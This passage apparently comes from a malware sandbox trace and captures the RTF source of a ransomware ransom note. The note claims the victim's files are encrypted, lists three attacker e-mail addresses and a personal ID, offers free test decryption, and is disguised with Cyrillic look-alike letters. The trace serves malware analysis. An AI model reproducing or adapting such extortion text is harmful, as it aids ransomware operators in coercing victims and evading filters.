T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0033.944] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd 